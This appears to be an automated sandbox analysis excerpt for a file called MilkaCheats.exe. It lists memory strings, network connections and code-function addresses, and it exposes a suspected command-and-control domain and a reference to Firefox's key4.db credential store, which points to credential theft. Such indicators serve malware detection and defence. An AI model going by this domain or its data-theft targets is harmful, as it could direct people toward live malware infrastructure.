Source: MilkaCheats.exe, 00000001.00000003.1726270504.0000000001342000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000002.1848510788.0000000001342000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1794237386.0000000001342000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1802070009.0000000001342000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1847565217.00000000012BD000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1847716961.0000000001342000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000002.1848584862.0000000001361000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api
Source: MilkaCheats.exe, 00000001.00000003.1847808450.0000000001361000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1802215575.0000000001361000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000002.1848584862.0000000001361000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apihCb
Source: MilkaCheats.exe, 00000001.00000003.1802442318.000000000136C000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1794077852.000000000136C000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1835884206.000000000136C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/e
Source: MilkaCheats.exe, 00000001.00000003.1767891806.000000000136C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/rjm
Source: MilkaCheats.exe, 00000001.00000003.1802442318.000000000136C000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1835884206.000000000136C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/s:md
Source: MilkaCheats.exe, MilkaCheats.exe, 00000001.00000003.1847808450.0000000001361000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1802215575.0000000001361000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1726270504.0000000001342000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1794321232.0000000001360000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1794077852.000000000135F000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1778356922.000000000135E000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1778286668.0000000001358000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1768149959.0000000001342000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000002.1848584862.0000000001361000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/api
Source: MilkaCheats.exe, 00000001.00000003.1767891806.000000000136C000.00000004.00000020.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1778631917.000000000136C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/api2o4p.default-release/key4.dbPK
Source: MilkaCheats.exe, 00000001.00000003.1802442318.000000000136C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/apiPackages
Source: MilkaCheats.exe, 00000001.00000003.1712714034.0000000003A19000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712657900.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712792463.0000000003A19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: MilkaCheats.exe, 00000001.00000003.1712714034.0000000003A19000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712657900.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712792463.0000000003A19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: MilkaCheats.exe, 00000001.00000003.1712714034.0000000003A19000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712657900.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712792463.0000000003A19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: MilkaCheats.exe, 00000001.00000003.1751292403.000000000136A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: MilkaCheats.exe, 00000001.00000003.1712448019.0000000003A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: MilkaCheats.exe, 00000001.00000003.1750884533.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: MilkaCheats.exe, 00000001.00000003.1750884533.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: MilkaCheats.exe, 00000001.00000003.1712448019.0000000003A2E000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712503562.0000000003A27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: MilkaCheats.exe, 00000001.00000003.1712503562.0000000003A02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: MilkaCheats.exe, 00000001.00000003.1712448019.0000000003A2E000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712503562.0000000003A27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: MilkaCheats.exe, 00000001.00000003.1712503562.0000000003A02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: MilkaCheats.exe, 00000001.00000003.1751292403.000000000136A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: MilkaCheats.exe, 00000001.00000003.1712714034.0000000003A19000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712657900.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712792463.0000000003A19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: MilkaCheats.exe, 00000001.00000003.1751292403.000000000136A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: MilkaCheats.exe, 00000001.00000003.1712714034.0000000003A19000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712657900.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, MilkaCheats.exe, 00000001.00000003.1712792463.0000000003A19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: MilkaCheats.exe, 00000001.00000003.1750884533.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: MilkaCheats.exe, 00000001.00000003.1750884533.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: MilkaCheats.exe, 00000001.00000003.1750884533.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: MilkaCheats.exe, 00000001.00000003.1750884533.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: MilkaCheats.exe, 00000001.00000003.1750884533.0000000003AF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.4:49748 version: TLS 1.2

Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000F8026	0_2_000F8026
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000FA160	0_2_000FA160
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_00122234	0_2_00122234
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_00102255	0_2_00102255
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_001102D5	0_2_001102D5
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_0011E2E9	0_2_0011E2E9
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_0013231D	0_2_0013231D
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_00128371	0_2_00128371
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000FC370	0_2_000FC370
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_00114432	0_2_00114432
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000D0470	0_2_000D0470
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_0011E5F3	0_2_0011E5F3
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000F8670	0_2_000F8670
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000CE821	0_2_000CE821
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000D8823	0_2_000D8823
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_00122871	0_2_00122871
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_001168A4	0_2_001168A4
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_001308F0	0_2_001308F0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_00110930	0_2_00110930
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_00128933	0_2_00128933
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_001049E7	0_2_001049E7
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_00130B10	0_2_00130B10
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000CEB69	0_2_000CEB69
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_0011EC6A	0_2_0011EC6A
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000C4C86	0_2_000C4C86
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_0011ECB9	0_2_0011ECB9
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_0011ECA6	0_2_0011ECA6
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_00114D50	0_2_00114D50
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_00104DA7	0_2_00104DA7
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000D4E13	0_2_000D4E13
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_00102E5C	0_2_00102E5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_00118F30	0_2_00118F30
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_00130F20	0_2_00130F20
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_00122FD7	0_2_00122FD7
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000FD030	0_2_000FD030
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_0011D0F0	0_2_0011D0F0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000C710C	0_2_000C710C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000F5120	0_2_000F5120
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000DF175	0_2_000DF175
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000F91C0	0_2_000F91C0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_001292A0	0_2_001292A0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_001313C0	0_2_001313C0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000EF410	0_2_000EF410
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_0012D430	0_2_0012D430
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_00133450	0_2_00133450
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000F3460	0_2_000F3460
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_00123460	0_2_00123460
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000F54C0	0_2_000F54C0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_001114F0	0_2_001114F0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000F34FA	0_2_000F34FA
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_00129500	0_2_00129500
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_0010F5C8	0_2_0010F5C8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000F9650	0_2_000F9650
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000EF6E5	0_2_000EF6E5
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000EF738	0_2_000EF738
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_00133740	0_2_00133740
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_0011982E	0_2_0011982E
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_0011D980	0_2_0011D980
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_0011DB4A	0_2_0011DB4A
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_00111B80	0_2_00111B80
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_00129BC0	0_2_00129BC0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_0012DC10	0_2_0012DC10
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000F1D40	0_2_000F1D40
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_0011DDE0	0_2_0011DDE0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000FBE90	0_2_000FBE90
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_000F5EC0	0_2_000F5EC0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 0_2_0010DFB0	0_2_0010DFB0
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_0135812A	1_3_0135812A
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_0135815E	1_3_0135815E
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_013652BB	1_3_013652BB
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370CBE	1_3_01370CBE
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370BA8	1_3_01370BA8
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370D9C	1_3_01370D9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F9C	1_3_01370F9C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
Source: C:\Users\user\Desktop\MilkaCheats.exe	Code function: 1_3_01370F5C	1_3_01370F5C
